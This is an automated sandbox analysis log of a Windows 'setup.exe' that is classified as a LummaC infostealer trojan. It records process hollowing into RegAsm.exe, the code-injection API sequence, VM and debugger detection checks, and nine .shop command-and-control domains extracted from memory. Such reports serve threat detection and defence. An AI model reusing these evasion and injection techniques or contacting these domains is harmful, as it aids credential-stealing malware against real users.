Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00439DF0	1_2_00439DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00432580	1_2_00432580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00421E79	1_2_00421E79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041C67E	1_2_0041C67E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405EE0	1_2_00405EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004246A0	1_2_004246A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00434EB0	1_2_00434EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403F20	1_2_00403F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401FE0	1_2_00401FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004217E0	1_2_004217E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040178D	1_2_0040178D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00409220 appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00409910 appears 118 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00AEC2C0 appears 56 times

Source: C:\Users\user\Desktop\setup.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 696

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/5@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042D8C5 CoCreateInstance,

1_2_0042D8C5

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3160

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\794eea8a-eb23-4560-bb3d-938ded2d9c4f

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Command line argument: Alister

0_2_00AE8EC0

Source: setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe	ReversingLabs: Detection: 81%
Source: setup.exe	Virustotal: Detection: 79%

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 696
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: setup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00AEBA44 push ecx; ret

0_2_00AEBA57

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

API coverage: 8.4 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2964

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00B02953 FindFirstFileExW,

0_2_00B02953

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: RegAsm.exe, 00000001.00000002.2116197394.000000000162E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegAsm.exe, 00000001.00000002.2116197394.000000000162E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2116139844.00000000015CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004362B0 LdrInitializeThunk,

1_2_004362B0

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00AEC06D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00AEC06D

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00B00C65 mov eax, dword ptr fs:[00000030h]		0_2_00B00C65
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AF9680 mov ecx, dword ptr fs:[00000030h]		0_2_00AF9680

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00B05C53 GetProcessHeap,

0_2_00B05C53

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AEC06D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AEC06D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AEC1FA SetUnhandledExceptionFilter,	0_2_00AEC1FA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AEBD66 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00AEBD66
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00AEFE83 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AEFE83

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\setup.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0147018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0147018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\setup.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: richardflorespoew.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: strwawrunnygjwu.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: justifycanddidatewd.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: raiseboltskdlwpow.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: falseaudiencekd.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: pleasurenarrowsdla.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: feighminoritsjda.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: marathonbeedksow.shop
Source: setup.exe, 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: backcreammykiel.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 111C008	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00AEBB3C cpuid

0_2_00AEBB3C

Source: C:\Users\user\Desktop\setup.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00B0508D
Source: C:\Users\user\Desktop\setup.exe	Code function: EnumSystemLocalesW,	0_2_00AFC8E0
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00B0581C
Source: C:\Users\user\Desktop\setup.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00B059F1
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,	0_2_00B05922
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,	0_2_00B05288
Source: C:\Users\user\Desktop\setup.exe	Code function: EnumSystemLocalesW,	0_2_00B0532F
Source: C:\Users\user\Desktop\setup.exe	Code function: EnumSystemLocalesW,	0_2_00B0537A
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00B054A0
Source: C:\Users\user\Desktop\setup.exe	Code function: EnumSystemLocalesW,	0_2_00B05415
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,	0_2_00AFCDA9
Source: C:\Users\user\Desktop\setup.exe	Code function: GetLocaleInfoW,	0_2_00B056F3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
